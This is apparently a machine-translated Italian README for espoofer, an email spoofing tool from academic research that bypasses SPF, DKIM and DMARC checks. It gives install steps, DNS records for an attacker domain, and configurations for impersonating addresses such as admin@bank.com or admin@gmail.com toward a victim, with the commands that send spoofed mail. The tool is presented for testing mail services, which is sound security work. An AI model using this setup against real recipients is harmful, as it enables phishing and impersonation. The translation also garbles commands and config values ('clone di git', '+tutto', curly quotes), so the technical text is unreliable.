La nostra ultima ricerca mostra che l'implementazione di questi protocolli soffre di una serie di problemi di sicurezza, che possono essere sfruttati per aggirare le protezioni SPF/DKIM/DMARC. La Figura 1 mostra uno dei nostri attacchi di spoofing per aggirare DKIM e DMARC in Gmail. Per ulteriori dettagli tecnici, consultare il nostro Black Hat USA 2020 talk (con video di presentazione) o il documento USENIX Security 2020.

In questo repository, riassumiamo tutti i casi di test che abbiamo trovato e li integriamo in questo strumento per aiutare gli amministratori e i professionisti della sicurezza a identificare e individuare rapidamente tali problemi di sicurezza. Si prega di utilizzare la seguente citazione se si effettuano ricerche profumate (fare clic su di me).

Installazione

clone di git https://github.com/chenjj/espoofer

sudo pip3 install -r requisiti.txt

Utilizzo

espoofer ha tre modalità di lavoro:  server  ('s', modalità predefinita),  client  ('c') e  manuale  ('m'). In  modalità server  , espoofer funziona come un server di posta per testare la convalida nella ricezione dei servizi. In  modalità client  , espoofer funziona come un client di posta elettronica per testare la convalida nei servizi di invio. La modalità manuale  viene utilizzata per scopi di debug.

Modalità server

Per eseguire espoofer in modalità server, è necessario disporre di: 1) un indirizzo IP ( 1.2.3.4), la cui porta in uscita 25 non sia bloccata dall'ISP, e 2) un dominio ( attack.com).

Configurazione del dominio

selector._domainkey.attacker.com TXT “v=DKIM1; k=rsa; t=y; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNjwdrmp/gcbKLaGQfRZk+LJ6XOWuQXkAOa/lI1En4t4sLuWiKiL6hACqMrsKQ8XfgqN76mmx4CHWn2VqVewFh7QTvshGLywWwrAJZdQ4KT lfR/2EwAlrItndijOfr2tpZRgP0nTY6saktkhQdwrk3U0SZmG7U8L9IPj7ZwPKGvQIDAQAB”

Imposta record SPF per attack.com

attack.com TXT "v=spf1 ip4:1.2.3.4 +tutto"

Configura lo strumento in config.py

config ={
“attacker_site”: b”attack.com”, # attack.com
“legitimate_site_address”: b”admin@bank.com”, # legittimi.com
“victim_address”: b”victim@victim.com”, # vittima @victim.com
“case_id”: b”server_a1″, # server_a1
}

Puoi elencare trova il case_id di tutti i test case usando  -l l'opzione:

python3 espoofer.py -l

Puoi cambiare case_id in config.py o utilizzare  -id l'opzione nella riga di comando per testare diversi casi:

python3 espoofer.py -id server_a1

Modalità cliente

Per eseguire epsoofer in modalità client, è necessario disporre di un account sui servizi di posta elettronica di destinazione. Questo attacco sfrutta l'incapacità di alcuni servizi di posta elettronica di eseguire una convalida sufficiente delle e-mail ricevute dai MUA locali. Ad esempio,  attacker@gmail.com cerca di impersonare  admin@gmail.com.

  1. Configura lo strumento in config.py

config ={
“legitimate_site_address”: b”admin@gmail.com”,  
“victim_address”: b”victim@victim.com”,
“case_id”: b”client_a1″,
“client_mode”: {
“sending_server”: (“smtp .gmail.com”, 587), # IP server di invio SMTP e porta
“username”: b”attacker@gmail.com”, # Nome utente e password del tuo account
“password”: b”your_passward_here”,
},
}

Puoi elencare trova il case_id di tutti i test case usando  -l l'opzione:

python3 espoofer.py -l

Nota:  sending_server dovrebbe essere l'indirizzo del server di invio SMTP, non l'indirizzo del server di ricezione.

  1. Eseguire lo strumento per inviare un'e-mail di spoofing

python3 espoofer.py -mc

Puoi cambiare case_id in config.py ed eseguirlo di nuovo, oppure puoi usare  -id l'opzione nella riga di comando:

python3 espoofer.py -mc -id client_a1

Modalità manuale

Ecco un esempio di modalità manuale:

python3 espoofer.py -mm -helo attack.com -mfrom m@attack.com -rcptto victim@victim.com -data raw_msg_here -ip 127.0.0.1 -port 25

Screenshot

  1. Una breve panoramica dei casi di test.

Scaricamento